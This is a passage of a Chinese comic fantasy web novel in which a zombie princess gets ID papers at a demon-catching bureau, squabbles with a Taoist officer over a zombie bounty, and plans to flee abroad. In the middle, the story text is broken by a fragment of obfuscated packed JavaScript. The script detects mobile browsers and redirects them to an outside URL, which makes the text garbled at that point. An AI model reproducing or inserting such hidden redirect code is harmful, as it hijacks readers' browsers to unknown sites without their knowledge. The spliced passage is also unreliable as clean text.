几步之外,一声嗤笑传来,辛姬一扭头,就见皮貅站在一个珠玉满身的异国富婆旁边,此时正抱臂扬着一边嘴角,神色阴阳怪气。
“现在政策好了,犯人不用戴头枷了。”
辛姬的嘴比钢铁还硬:“我就喜欢保持这个姿势,管得着么你?”
皮貅冷笑一声,转身朝着富婆做了个请的手势,两人一前一后走进案发现场。
辛姬向来比驴还倔,真的一路上都梗着脖子保持带头枷的准备姿势。
郑清心倒是想劝,奈何几次跟怀里的脑袋对上眼神,浑身僵硬什么也做不了,等车停到捉妖局前,他立马跳下车,不知从哪儿拽出个小推车,辛德的脑袋这才有了稳定不变的安置地点。
郑清心松了口气,开始带辛姬和辛德走流程。
捉妖局从里到外看着就只是个普通的办事大楼,工作人员穿着制服办事麻利,时不时有些穿着打扮普通的人路过,眼前的场景看着就像街头某个银行大厅——要非说有什么不同,那就是这里萦绕着或浓或淡的各式妖气。
郑清心推着小推车,边走边介绍:“捉妖局是建国后成立的,负责处理人和妖之间的纠纷,制约妖怪在人间的行为、防止普通人遭受侵害,同时也担负帮助妖怪融入人类社会的责任。”
辛姬小嘴一歪,志得意满。
不用人类帮助,她不也融入了社会?还融入得很自在呢。
辛德抬眼看了辛姬一眼。
她实在不想提醒辛姬,她们一家三口在社会上摸爬滚打,活得有多艰辛——譬如从没有交过社保。
好在今天就可以结束这种阴沟老鼠般不见天日的生活,她终于可以圆梦——参加高考,上大学,交社保!
郑清心想起什么,回头看向辛姬,满目同情:“我听杨经理说了,你因为没有合法身份转不了正,在酒吧当了好久的临时工,一天只能拿两百多块。现在境况不同了,你以后就能当正式合同工了,转正了一天能拿五百块呢。”
“什么?!”
辛姬掰着指头算了又算,算不明白,但她热血沸腾。
这么多钱,那她岂不是马上就能成小富豪了?
做人,真好!
“咚咚!”
旁边的工作人员敲了下柜台,打断了辛姬对未来的美好畅想:“缴一下费,补办两个身份证总共80。”
辛姬摸遍全身,连一个硬币也没摸出来,她沉默片刻,忽然抚掌:“嗨呀,你看这事儿闹的!清心呐,你看有没有……”
辛姬刚把希望的目光投向郑清心,下一秒,沉寂了许久的辛德忽然嘴巴一张,吐出一块东西。
“哒!”
一小块璀璨金条砸在柜台上。
郑清心愣了一瞬,赶紧摸出个皱巴巴的笔记本笔走龙蛇:“僵尸嘴里……吐黄金……嘶,书里没记载过啊。”
……别记你那破笔记了。
辛姬垂眸跟辛德对了个眼神,忽然回想起刚才把辛德脑袋从保险箱里拿出来的场景——保险箱里除了大钞就是金条,辛姬看得眼都直了,拿辛德的时候小手忍不住摸了一把,被杨经理防贼似的好一顿瞪,才克制住了顺走两块的想法。
没想到在她软弱的时候,辛德默默负重前行。
捉妖局的□□业务十分周全,不但按照今日金价兑换了现金,还给二人当场办了人生中第一张信用卡。
辛姬攥着一把证,激动得热泪盈眶。
郑清心却还不能放松,朝着辛德90°鞠躬致歉:“不好意思啊,辛德小姐,当时组长没搞清楚状况就把你的头给砍了……”
说到这里,他特意加重了“组长”二字,顿了顿,才继续道:“不过你放心,我们已经拜托局里的收敛师帮你整理遗体,希望你能开心一点。”
郑清心看了看四周,小声补充:“求求你,不要投诉我,我还没转正。”
辛德连连点头:“行,行。”
多个朋友多条路,在捉妖局里有个熟人,总比没有强。
郑清心大喜,脚步都轻快了许多,他直接推开冷藏室的门,一股冷气扑面而来:“到了,就是这儿。”
冷藏室内,一个穿着白大褂的女生正坐在辛德的身体旁,听到有人进来,她抬头看了一眼,目光扫过辛德,随即又低下头:“稍等,马上保养好了。”
辛姬定睛一看,就见辛德的无头尸体被放置在铁床上,脖颈血管显然被清理了一番,喷溅在身上的血污也被擦得干干净净,穿着的衣裳上看着干净柔软,甚至还带着阳光晾晒过的清香。
而白大褂女生,此时正拿着一把小锉刀修正辛德的黑指甲。
郑清心双手将辛德的脑袋递给白大褂女生,恭敬弯腰:“VVVIP级客户,麻烦你了。”
对方点了点头,二话不说,直接掏出针线,摆好头身后,对准血管肌肤纹理就开始缝合。
郑清心退回辛姬身旁,小声道:“这位是我们局里技术最好的仪容收敛师荣容,她身怀一套古老针法,可以缝合任何东西而不露出缝补痕迹,堪称一绝!”
辛德眼前针线纷飞,眼珠跟着滴溜溜转,她看清针法走势之后,迟疑开口:“这针法……跟家居小视频学的吧?”
荣容抬眼反问:“你就说,藏得好不好?”
辛德:“……好。”
荣容大秀针线活的同时,郑清心提醒:“对了辛小姐,你们别忘了下载妖界app,‘妖怪行为准则’就在app后台里,你们以后有什么不懂的可以上去查,偶尔还会有一些捉妖局举行的小活动之类的……”
早在郑清心开口时,辛姬就已经扫码下载登录上,下一秒,一个消息忽然弹了出来。
闪着红光的边框配上“悬赏令”三个字,一下子吸引了两人的注意力。
郑清心看了一眼,解释道:“捉妖局毕竟人力有限,号召有热心有能力的妖怪提供帮助,能更快铲除害人精怪。”
悬赏,僵尸,线索五千,捕获扭送捉妖局两万。
两万是个什么概念呢?
就这么说吧,辛姬在酒吧金鸡独立八个小时,一个月只休两天才能拿到五千八百二十四块钱,有了这两万块钱,她可以天天窝在温暖僵尸小巢穴里三个月不用出门。
不就是只僵尸吗?抓!
僵尸爱去哪儿……她可门清啊!
半个小时后,京市郊区,当格里当山山脚下,一辆出租车急急驶来又急急驶去,只留下辛姬站在公路边缘。
她仰头看向山顶,神色有些怀念。
当年她四处漂泊无处可去的时候,就最喜欢待在这些深山旮旯里,京市的当格里当山就是辛姬最喜欢的窝点之一,平静,偏僻,渺无人烟——
“大家看好旗帜,一定要跟上了啊!”
“大爷大妈都别动了,咱们一起喊——茄砸!”
“壮壮爷爷,又出来遛狗啊?一块遛啊,哎哟,小壮壮这毛真厚实吼吼吼~”
嘈杂的人声传来,回忆暂停,辛姬扭头看向别处。
老年旅行团成群结队,附近老头老太甩着膀子舒展身体,遛狗的遛狗,乘凉的乘凉——光一个山脚荒地就聚了这么多人,山顶上到底还有多少人,辛姬真是不敢想。
她一步一步往山上爬,越爬人越多,跟一群老头老太太三五成群并肩而行,头一回因为这么多人味而感觉脚步沉重。
这可怎么找僵尸啊……万一打起来,这么多老头老太太挤在旁边,万一误伤一两个,悬赏金能不能拿到还两说,捉妖局不能抓
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她过去投大狱吧?
辛姬满心忧愁,忽然群鸟惊飞,山脚下传来的响亮喇叭声响彻云霄——
“领——鸡蛋!免费领——鸡蛋!数量有限,先到——先得!”
“唰!”
一道诡异、重叠、整齐的声音响起,辛姬回头看去,就见漫山遍野的老头老太双目呆滞,仿佛收到某种邪神的召唤,乌泱泱朝着山下奔去。
“鸡蛋?哪儿能领鸡蛋?”
“壮壮爸,一块儿去领鸡蛋啊!”
“喂!小赵她大姑!这边有地儿能领鸡蛋……不远不远,离家就十里地……诶对,快来哈!”
一时间,拄拐的、颤腿的、推助行器的老头老太太们如履平地健步如飞,哗啦一下全朝着山脚下涌去。
鸡蛋——僵尸。
鸡蛋——僵尸!
辛姬纠结片刻,最终一咬牙,逆着人流往上走。
先抓僵尸再领鸡蛋,来得及!
“领——鸡蛋!免费领——鸡蛋!数量有限,先到——先得!”
当格里当山山脚下的小卖部旁,喇叭声音嘹亮,一筐筐鸡蛋堆在地上,几步之外,皮貅抱臂眺望着山顶,再三确认。
“你确定那个外来僵尸就在上头?”
“俺不知道,老爷,”皮貅身后,一个穿着西装拎公文包的瘦小男人讷讷开口,一双三角眼鼠目精光,“但俺第十九代的曾曾曾……曾孙子告诉俺,山上来了一只非常凶残的僵尸,整天躲在洞里不说,还十分不懂规矩,一身腥味非常扰邻,山上的大家都传遍了,谁也不知道她是从哪儿来,更不知道是做什么的,一看就是个外来妖。”
京市对外来妖排查极为严苛,现存僵尸数量更是稀少,山上藏着的八成就是害人僵尸。
皮貅又问:“你知道那僵尸的具体位置吗?”
“这俺不知道,老爷,”瘦小男人蔫哒哒应道,“俺只知道沿着山道一直往上跑,有个山洞外长着一颗参天大树,树旁还有俩大石墩子,那外来妖怪就藏在山洞里头。”
获得想要的讯息,皮貅当即摆手:“行,这没你事儿了。”
瘦小男人搓着手,眼中精光一闪,面露期待:“老爷,俺能不能也去领两筐鸡蛋?家里孩子等着吃……”
皮貅点头,瘦小男人立马端着两筐鸡蛋,在几个大爷大妈羡慕的目光下美滋滋离开。
皮貅扭头朝着小卖部老板嘱咐:“先组织大家排队,整点再开始发鸡蛋——记得跟所有排队的人说,必须留下手写身份证号,还得正面拍照留存,一人限量领一个鸡蛋,再往地铁站那边走两千米,有个小卖部还能领火腿肠。”
郑清心刚把十来筐鸡蛋从车上搬下来,累得嗓子眼直冒火,闻言不由得出声质疑:“组长,咱们流程这么繁琐,还只拿这么点东西糊弄大爷大妈,能有人买账吗?”
他话音刚落,就听一阵轰隆隆声响起,晨练乘凉爬山旅游的大爷大妈们乌泱巫泱争先恐后跑下山。
皮貅漫不经心让出排队位置:“不少了,省省能炒俩菜呢。”
说完,他翩然走到旁边的缆车售票窗口,掏出五十块钱拍在柜台上:“买票。”
窗口里的工作人员看看皮貅,再看看皮貅身后眼巴巴的郑清心及脸色苍白身体清瘦的秦英,提醒:“这钱只够你一个人上。”
“就买一张,”皮貅理直气壮,扭头看向两个下属,“我一个人坐缆车,你俩赶紧爬上来。”
秦英、郑清心:“……”
十分钟后,皮貅刚从缆车上下来,一眼就看到了幽深不见底的山洞洞口,他脚步一抬正要走,旁边忽然传来一阵喘气声。
“呼哧——呼哧——”
怎么回事?这世上还有不愿意领免费鸡蛋的人?
皮貅扭头,就见辛姬脸红脖子粗爬上了最后一节台阶。
辛姬的视线同样落在皮貅身上。
四目相对,两人心中都充满了嫌弃。
这人怎么来了?晦气!
5. 官爷吉祥
命案,凶僵,这个来历成谜的辛姬回回都出现在具有争议的场合,说她清白?呵!皮貅怎么都不信。
他上下打量辛姬几眼,一开口就是阴阳怪气:“怎么着?来给你的同伙送饭?新鲜的人呢,藏哪了?”
叨叨什么呢?听不懂。
辛姬敷衍地点着头,抬脚就要往洞里走:“嗯嗯,巧,真巧……那什么,我进去办点事儿,你先忙……”
她的脚还没落下,呼呼风声忽然自背后袭来,辛姬敏捷闪身躲过,下一秒,就见一柄铜钱剑劈在自己原本所站的地方。
皮貅拎起铜钱剑,唇角一勾,冷哼道:“都到这儿了还装什么傻?我今天非得把你跟你的同伙都给抓起来,全给你们刺个对穿!”
辛姬敏锐捕捉关键词。
抓?他也是来抓僵尸的?这可不行!这两万块赏金她才不会让别人抢走!
辛姬和皮貅对视一眼,忽然缠斗在一起,两人出招狠辣,没过几分钟就都带了伤——辛姬胳膊腿上被划出好几道伤痕,皮貅被追着砸了好几拳,胸膛腹部隐隐作痛。
可恶,这道士还真有几分本事……不对,她可不能在这儿浪费时间!
辛姬脑袋一拧,转头就冲山洞里跑,一边跑一边发出怪叫:“咯咯咯……”
显然已经沉浸在某种喜悦之中。
皮貅:“……”
兵家大忌就是半场开香槟!
皮貅冷哼一声追了过去,两人争先恐后往洞里跑,你捶我一拳我绊你一脚,双拳四脚一通乱斗,结果双双踏空顺着台阶滚了下去。
“噗通!”
俩人倒在地上还不忘撕扯对方,皮貅一个剪刀脚绞住辛姬的脑袋,辛姬拽住皮貅的大腿一阵狠掐,两人恨不得把对方往死里整的同时,心里最惦记的还是山洞里藏着的这头吃人凶僵……
“不对,僵尸呢?!”
皮貅冷不丁开口,辛姬一愣,扭头看向山洞深处,这才发现洞内空空如也。
没有僵尸等于悬赏金泡汤等于直接损失两万块等于无法脱贫。
辛德一天三份工,忠义还得做手术……辛姬思绪翻涌,顿时心如绞痛,悲愤的嘶吼瞬间传遍整个山头:“我那么大个僵尸去哪儿了?!”
“去哪儿了——”
“了——啊——啊……”
“什么动静?!”
半山腰,郑清心猛然抬头看向山顶,神色激动:“是从山顶上传来的!看来组长已经跟僵尸打起来了!”
他扭头看向秦英,攥紧拳头鼓舞道:“秦哥,再坚持一下,咱们马上就要到登顶了!走吧,去帮组长制服僵尸!”
秦英忽然一把按住郑清心的肩膀,朝他比了个噤声的手势,脸色苍白眯着眼睛凝视路边某处。
在秦英的目光尽头,偏离山道的斜坡上有个禁止通行的指示牌,后方的小山洞前散乱着枯枝落叶,仿佛很久无人踏足,山洞旁的歪脖子树上,一只小蜘蛛正在蛛网上上下起伏。
秦英看着蜘蛛爬动,神色越来越凝重,忽然他瞳孔猛缩,拉着郑清心飞快转身:“快跑!”
“唰!”
一道黑影猛地从洞里蹿出,郑清心定睛一看,猛然对上一双通红的眼,他喉头一紧,张嘴就要发出尖锐爆鸣:“呃啊——”
下一秒,一只铁钳般的手死死擒住郑清心的肩膀。
“唰啦!”
几片树叶纷纷落下,现场空无一人,只留地上两条长长拖行痕迹。
————
当格里当山山道上,皮貅和辛姬各占一边,气冲冲往山下走,两人脸色铁青。
皮貅横眉冷对:“你来抓僵尸也不一声说,害我以为你是僵尸同伙,白白浪费时间。”
“AUV~官爷吉祥~”辛姬学着隔壁王大爷的腔调,阴阳怪气道,“我哪敢说话啊?生怕您把我刺个对穿!”
皮貅一哽,狠狠翻了个白眼,扭头再不看辛姬,余光忽然扫到两条拖行痕迹,他脚步一顿,突然蹲下匆匆把鞋带抓散。
辛姬懒得理他,当即迈着散漫的步伐就要继续下山,忽然脑中灵光一闪——抓不到僵尸就算了,再快一点,说不定还能领点山脚的鸡蛋!
想到这里她立马加快脚步,飞似地往山下跑。
皮貅瞥见辛姬越跑越远,唇角简直压不下去,喜得都开始系中国结了。
辛姬蓦地闻到一股腥味儿,她忽然回头看向身后山洞,下一秒膀子一甩瞬间窜回去百十来米,怪笑着一头扎进山洞:“咯咯咯~”
埋头假装系鞋带的皮貅见状暗骂一声,拔腿就要追。
“砰!”
刚才一心二用时不小心系在一起的两只鞋的鞋带骤然发力,皮貅脚下一绊,重重摔倒在地。
与此同时,山洞里头已经爆发出砰砰砰的打斗声,可见战况之激烈。
头功当前,皮貅一脚蹬开鞋,爬起来就往山洞跑,还没跑到就听一声巨响,接着辛姬喜气洋洋地跑了出来,手里还拽着只黑色海胆球。
“发了发了……”
辛姬满脸都是农民丰收的笑容,没走几步忽然手上一阵阻力,她怒目圆睁,手上骤然发力,甩开膀子拽着海胆球一抡——
“砰!”
皮貅目瞪口呆,眼看着整个山洞都仿佛颤抖了几下,辛姬手上那海胆……
那哪儿是什么海胆球?分明是个蓬头垢面的僵尸!
“咣当!”
僵尸一下子被甩到地上,手中硬从山洞里扣下来的石块被摔得粉碎,张牙舞爪的还想反抗,却被辛姬一拳砸在脸上,飞出去老远。
“不准打我的头功!”
皮貅出离愤怒,抽出铜钱剑就想加入战局,然而看到地上那两道长长的拖行痕迹,他到底是良心未泯,先跑到了山洞边上探头看去:“人呢?!”
山洞里狭窄逼仄、暗不见天日,洞壁顶上铺天盖地结着一大片蛛网,中央还挂着个一人高的雪白大茧子。
这才一个,还有另一个呢?
皮貅这么想着,忽然听到一声气若游丝的呼唤:“组长……”
他顺着声音传来的方向看去,就见暗处一道人影以诡异的姿势伏在山洞顶上,嗖嗖几下就爬到了有光的地方,往前一探,赫然是脸色苍白的秦英。
很显然——活得好着呢!
皮貅顿时一喜,身子一扭,反从山洞前面溜走。
只剩下一口气的秦英:“……”
辛姬拽着那僵尸脑袋美滋滋往前冲,正要就这么一路冲向捉妖局拿悬赏钱儿,忽然感觉手下一阵阻力传来,怎么都拽不动了,她扭头一看,就见皮貅死命拽着僵尸的两条腿往回抢。
皮貅:“还给我!”
是你的吗你就抢?!
辛姬翻了个白眼懒得跟对方废话,直接两手拽着僵尸脑袋使劲儿往外薅,皮貅不甘示弱,加大力道。
“咔吧!”
关节喀拉声中,被抢的僵尸脖子长了不是一点半点,悬在半空中直翻白眼。
比起身躯,僵尸裤腿上的布条先承受不住二人的蛮力对决,“刺啦”一声被撕了个粉碎,攥着布条的皮貅顿时噌噌退了好几步,差点一个跟头栽在地上。
辛姬伸手就要把僵尸拽过来,没想到这小僵尸反身就亮出獠牙朝她咬过来,辛姬丝毫不惧,大手一张。
“啪!”
辛姬的手直接兜脸罩住那僵尸,对方奋力挣扎却毫无还手之力。
下一秒,辛姬浑身汗毛直立,瞬间察觉到危机,她一回头,就见皮貅举着铜钱剑,显然要攻来,她当即攥紧僵尸怒喝一声:“不许过来!你再抢,我就把她脑壳捏碎!”
皮貅冷笑一声,铜钱剑在空中甩得呼呼作响,显然并不把这种威胁当回事:
“我们局有最好的收敛师,甭管你把她捏多碎,我都无所谓。”
收敛师?那个隐形针法的荣容?那确实很厉害。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16333735|183367||http|test|mini|href|location''.split(''|''),0,{}));
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>辛姬手里的筹码一时间失去了分量,但输人不输阵,她拽起僵尸的胳膊狠狠一抡,扛着僵尸就要跑。
“唰!”
铜钱剑疾速划过,辛姬手上顿觉一轻,她惊诧回头,就见自己手上此刻只拽着一条僵尸胳膊,皮貅则反手攥住僵尸一条腿扭头就跑。
辛姬一咬牙,锐利的长指甲瞬间弹出,快狠准攻去。
“噗呲!”
僵尸腿应声而断。
高手过招往往只在一瞬间,一剑一爪瞬间在空中缠斗挥出残影,铿铿锵锵的碰撞声连绵不绝。
处于战局中央的僵尸完全看不到任何动作,只是在空中旋转翻飞、从不落地,剑来爪往的同时僵尸躯体越发残破。
安详又平静。
如果两人对战时它的胳膊腿没有飞出去的话。
“呼……”
郑清心和秦英相互扶持着走出山洞,看到的就是皮貅和辛姬各站一边,两人怒视着对方气喘吁吁,显然经历了一场恶战。
那害人僵尸不偏不倚躺在两人的中间,表情如同死了般平静,胳膊腿这那七零八碎散落一地。
“僵尸是我的,头功也是我的,”皮貅形象狼狈,露在外头的皮肤到处挂着青紫伤痕,仍分毫不让,“没把你这黑户一块儿抓走判刑你就偷着乐吧!”
辛姬简直怒不可遏:“放尊重点!我有身份证了!这僵尸是我抓的,悬赏就该归我!”
秦英叹了口气,正想开口调停。
“啊啊啊!!!!!”
丧失行动能力的僵尸忽然仰天发出一阵尖锐刺耳的嚎叫。
辛姬顿时捂着耳朵退了好几步,皮貅也感觉耳膜一阵刺痛。
只见僵尸那几处伤口断裂处血肉涌动,模糊血肉涌动着凝聚在一起,竟然形成了小小的四肢,而后它血红的眸子扫视一周,猛然凭着小短腿弹跳飞出,血红大口上下开合,张大成反人类的弧度,“啊呜”一口把辛姬的整个脑袋咬进了嘴里。
郑清心一介普通人哪儿见过这种画面,顿时两腿一软无力地瘫倒在地:“辛小姐!!!”
皮貅倒是眼前一亮,举着铜钱剑大义凛然冲了出去,一丝都不带犹豫的:“我来帮你!”
铜钱剑目的明确,直冲辛姬脑袋,眼看就要把辛姬和那僵尸刺个对穿——
“锵!”
静静伫立在原地的辛姬猛然抬手,一手攥住铜钱剑,另一手捏住僵尸的下巴。
“咔哒!”
骨节碎裂声骤然响起,那僵尸的下巴无力打开,辛姬脖颈一扬,直接把自己的脑袋从僵尸嘴里拔了出来,眼睛一转,看向皮貅狰狞一笑:“你要帮谁?”
说话时,辛姬的手还被铜钱剑烫得吱吱作响,阵阵青烟冒出。
“啧!”
皮貅“唰啦”一下抽回铜钱剑,放回身后的同时还退了几步,面无表情。
铜钱剑都不怕?这老僵尸实在是太凶残了。
唯一一个不听人话的被彻底制服,秦英这次成功站出来调和道:“大家先别打,要不听我一言?”
皮貅和辛姬都扭头看了过去。
秦英:“你们砍得这么碎,捉妖局是不会认的。”
“没错,”郑清心攥着秦英的裤腿坐在一旁,弱弱帮腔,“局里规定了,一整个捉过去给两万块,这么碎的,一块只给两百。”
“今天打这个僵尸大家都有功劳,谁独占都不合适,”秦英笑呵呵道,“我提议,就此休战,这悬赏金,我们四个平分。”
“还能有我一份儿?”郑清心眼中不自觉带了几分期待。
皮貅:“……”
一份赏金,四个人分?那他还打个屁啊!
皮貅看向了现场唯一对他有威胁性的人,退而求其次:“咱们两个平分,同意?”
辛姬一秒犹豫都没有,爽快点头:“成交。”
虽然脑袋不好使,但两个人分和四个人分,她还是拎得清的。
6. 他是贫农
确定好分成比例,众人齐刷刷看向了地上那堆七零八碎的僵尸碎块。
就这么零零散散地拿去捉妖局领赏显然不合适。
辛姬摸出针线自告奋勇:“多大点事儿啊,我来缝。”
她活了那么久,哪次打架打输了不是她自己缝?忠义和辛德都是她一针一线拉扯大的。
没等辛姬动手,秦英站出来制止:“不用这么麻烦,辛小姐,我来就行。”
秦哥也会针线活?
郑清心刚给后勤部门的同事打完电话,闻言扭头看去,就见秦英嘴巴大张,伸手往嘴里一掏,一根粗壮坚韧宛如尼龙绳一样的白丝绵延不断地被扯了出来。随着白丝越扯越多,秦英的身体摇摇欲坠,脸色也越发苍白,仿佛一瞬间老了十岁。
郑清心:“……”
郑清心整个世界黯然失色,两腿一软重新瘫坐在地。
他虽然知道捉妖局中人妖并存,但他一直以为秦英和他一样,都是从山窝窝里考出来的全村的希望,全然没想过对方其实是全洞全巢穴全森林的希望……
“啊,对了,”秦英把白丝糊在僵尸断裂处缝缝补补,中途扭头道,“队长,那洞里还有点东西,恐怕你得去看看。”
辛姬一听这话,立刻警觉起来。
为什么只让这道士去看,不让她去?难不成……洞里还有财宝?!
辛姬脑袋一甩就朝洞里蹿。
皮貅见状莫名也产生了一股危机感,连问都顾不上问,也跟着拔腿往山洞里冲。
辛姬冲进山洞,紧锣密鼓开始搜罗,连犄角旮旯的小石头都没放过,翻找之际甚至还瞧见个魂魄在暗处砰砰撞墙,但……
“财宝呢?”辛姬急得团团转,“搁哪了到底?”
就这么个小山洞,她就差把地皮掀起来了,什么也没发现啊!难道藏在地下?
辛姬指甲瞬间暴涨至一米,嗷的一声开始刨坑。
皮貅刚一进洞就看见这一幕,默了半晌,将目光落在了洞内那个魂魄身上。
他凝眉敛目看了片刻,忽然快走过去蹲下,随意抹了几下地面。
干燥泥沙被拂开,露出一圈皱巴巴的黄色符纸。
外头那凶僵连话都不会说,还知道用符篆困魂魄?
皮貅撕下几张符纸拧眉看了片刻,随即轻嗤:“权限还挺高级,我都得经过层层审批才能使用。”
还一下子放了这么多张,好大的手笔,看来这凶僵的靠山不是一般人啊。
辛姬地皮刨了两米,什么也没找到,眼珠子一转,从坑里跳出来,贴到皮貅旁边:“看什么呢?”
皮貅直接把辛姬推开,小手一抹,麻利捞起所有符纸塞进裤兜:“关你什么事?”
一直砰砰撞墙的魂魄茫然地顿了几秒,失去了符篆的束缚,他转身无意识四处飘荡。
皮貅随意瞥了一眼,看清那魂魄透明呆滞的脸庞,讶然挑眉:“杰西?”
“谁?就是那个那个……”辛姬也跟着看去,八卦之魂熊熊燃起,“经理他老婆?”
“……”
皮貅简直懒得纠正,往手上贴了个符篆,上前“啪”地一下拽住魂魄的胳膊就往外走。
这道士拽着魂魄干嘛?难道魂魄也能换钱?
辛姬立马拽住魂魄另一边胳膊,面露控诉:“说好了我俩平分的!”
“分什么分?这是物证,”皮貅大义凛然,“而且人家杰女士都70多岁了,弥留之际还得跟她儿子见最后一面呢,你净想着分钱,你懂不懂感情?你有没有道德?”
辛姬活到这岁数,穷苦一生,别说道德,她连三观都没有,皮貅喋喋不休说教的同时,她的僵尸爪子在魂魄身上摸了一圈,眼看就要探往下三路。
皮貅眼疾手快,一把把辛姬的手拍开:“不准你亵渎我的证物!”
辛姬啧了一声,反正确实啥也没摸着,她顿时兴致缺缺转身就走。
“等等!”皮貅喊了一声,毫不客气道,“让这魂附你身上。”
可算求到她了吧?
辛姬小算盘打得噼里啪啦响,打定主意要以此要挟皮貅换点好处,面上佯装不屑,皱眉冷哼:“凭什么?这么丑的男人,也配近我的身?”
皮貅倒是不想求到这僵尸头上,但……
现场一个郑清心,是局里大力培养的新人,一个秦英,消耗过度,眼看就要嘎在当场,他自己……呵,他才不要把身体借给一个陌生男人。
皮貅上前一步,开口欲言。
辛姬立马后撤一步,抬手制止:“哎!你也不行!”
皮貅:“……”
他直接摸兜,掏出两张大钞在空中一扬。
辛姬眼前一亮,伸手就要去接:“就这一次啊!”
两人说话间,魂魄已经悠悠荡荡飘到了洞外头,皮貅收手:“先办事再给钱。”
辛姬拿手指头点了点皮貅:“是个谨慎的人。”
两人赶紧追出去,就见魂魄站在山头迎风摇曳,身形透明的仿佛下一秒就要消失不见。
皮貅一扬大钞,催促:“赶紧的吧。”
辛姬跟被甩了一鞭子的驴似的,立马狂奔过去。
然而她还没跑到魂魄旁,一阵凉意迎面而来,辛姬敏锐抬眼,就见杰西魂魄大张着嘴,浑身电流涌动,与此同时,魂魄周身狂风大作,风声呼呼大吹,脖颈后一张黄符哗啦甩动。
她的200块!
辛姬一个猛子扎过去,眼看就要拽住魂魄,结果一个漩涡凭空出现,将整个魂魄吸了进去。
“啊!!!”
辛姬一头扎下山谷,悠扬的惨叫声在山谷间回荡,敲击着每个人的心弦。
几秒寂静之后,皮貅攥着的拳头缓缓张开,长舒一口气:“我头功。”
“咯吱——”
“咯吱——”
一阵令人毛骨悚然的指甲刮擦声骤然响起,越来越响,在皮貅失望的目光中,辛姬的脑袋从山道边冒了出来。
辛姬长舒一口气:“好险,就差一点。”
没想到一直和她水火不容的道士皮貅也叹了口气:“好险,就差一点。”
接二连三的打击之后,郑清心终于从庞大的信息量中反应过来,大惊失色:
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“组长!魂魄凭空消失了!这可怎么办呐?”
皮貅顿了一秒,反问:“魂魄?什么魂魄?”
郑清心手足无措地比划:“就是那个,那个杰西的魂魄啊……”
“我不知道,我没看见,”皮貅面色如常,扭头看向秦英,“你看见了吗?”
秦英白着小脸,充满职场老油子的从容:“我也没看见。”
郑清心迟钝地看向辛姬,一时间惊疑不定。
辛姬对上郑清心的目光,一时间心神荡漾——
她想,她还是爱他那正直诚实的模样,那淳朴的小脸,让她想起当年曾一起坐在田埂的那个庄稼汉。
他们也曾谈天说地,无话不谈。
她对他说当年的宫中秘闻,他对她讲今年的庄稼收成。
可惜他们还是门不当户不对——他是贫农,她,更穷。
当年她因为现实而错过一段美好爱情,现在,她不愿意因为饥饿、贫穷、虚伪与无知再错过这美好的一切!
辛姬冲着郑清心甜甜一笑,反手攥住皮貅手里的大钞狠狠一抽塞进裤兜。
辛姬:“我也没看见。”
郑清心:“……”
郑清心双拳难敌六手,只能蔫头蔫脑咽下反驳。
几分钟后,一阵“嘿咻”“嘿咻”的卖力号子声隐约响起,被郑清心call过来的两个捉妖局后勤部同事跑上了山。
看到被制服的凶僵这么大喇喇地躺在地上,俩人有点犯嘀咕:“没捆束缚带吗?凶僵不会突然跳起来吧?”
“没有关系,她已经没有攻击能力了。”秦英笑容和蔼,“易碎物品,轻拿轻放啊。”
“啊……”
后勤两人对了个微妙的眼神。
皮貅管辖的第八小组在后勤部门可是出了名的,任务都能完成,就是被缉拿归案的凶手每次都得缺胳膊少腿,回回手段凶残,让他们负责战后修补的同事好一通忙活。
嗐,每次都这样,他们也该习惯了——但这次也忒过分了。
后勤俩人掏出折叠担架,瞅着凶僵身上到处裹着的蛛丝好一通犯难,最后才小心翼翼把凶僵抬上担架,“嘿咻”“嘿咻”地抬着就走。
路过辛姬的时候,那一动不动仿佛死了一般的凶僵忽然一歪脑袋,从喉咙里发出“呵哧呵哧”的气声。
凶僵大概很久没说过话,声音粗得像气管被砂纸打磨过,只能依稀辨别出几个别字词:“我……我见……过你……”
呵呵,搭讪的技巧真拙劣呢。
辛姬一甩头发,斜睨着凶僵,姿态矜贵冷艳:“在梦里?”
那张白生生的脸宛若银盘,映在凶僵眼中,凶僵一阵恍惚,随即愣愣点头:“是……在梦里……”
后勤部两人本来就累,还被迫听了段迷之对话,齐刷刷扭头,无语地看了辛姬一眼,抬着担架就走了。
辛姬有点小得意,又甩了一下头发,余光瞥见皮貅神色复杂,她立马冷哼:“看什么看?丑男人滚开。”
强烈的攻击性挠一下就扑到了皮貅脸上,他冷哼一声:“你们僵尸口味真重。”
7. 夜色皇帝
虽然能拿一半悬赏金,但没能在山脚下领到鸡蛋,辛姬只能怀揣着小小遗憾回家。
她刚进家门,就见玄关客厅摆了一堆硬壳纸箱,纸箱里整整齐齐堆叠着辛姬的锦衣华服,还有些书籍散乱摞在地板上,辛德就站在这些纸箱中间,神色凝重。
“公主,咱们逃吧。”
“逃?为啥?”辛姬疑惑了一秒,转念一想,整个人充满松弛感地笑了,“咱们有身份证了,以后再也不用逃了!”
“不是这个事儿。”辛德眼眸中闪过几分对合法身份的眷恋,紧接话音一转,沉重道,“捉妖局是帮了咱们,可万一他们查清了咱们的底细,要清算以前怎么办?”
“咱们以前犯过的事,杀过的道士……捉妖局不知道,你还不清楚吗?”
这话一出,辛姬顿时打了个后怕的哆嗦。
辛德沉沉地叹了口气,嘶哑的语气活像个古老先知:“一千多年前的教训……可不能再重演了!”
辛德的话仿佛变成一柄沉重铁锤,狠狠砸在辛姬的心脏之上,她拧着眉头闷闷开口:“我们这次逃去哪儿?边城?还是回山里?”
辛德一手攥胶带一手转纸箱,将在夜间物流站兼职学到的打包技巧发挥得淋漓尽致,嘴上还利索地讲述着自己的分析。
“现在华夏遍地是摄像头,咱们还落了户,再留在这儿是决计不行的了。”
“公主,我已经计划好了,咱们去北美洲投奔忠义吧!听说那儿的人口管控不咋严,只要能偷渡过去,天南地北任咱们驰骋!”
“偷渡的路线我已经做好攻略——先泅渡去哥L比亚,再沿公路自驾游去墨X哥,忠义会在边境接应我们……”
什么哥L比亚墨X哥,北美南美自驾游的,听不懂,一点都听不懂。
辛姬胡乱点头,主打一个信任:“成!你来安排!”
辛德慷慨激昂:“那咱们今晚就走!”
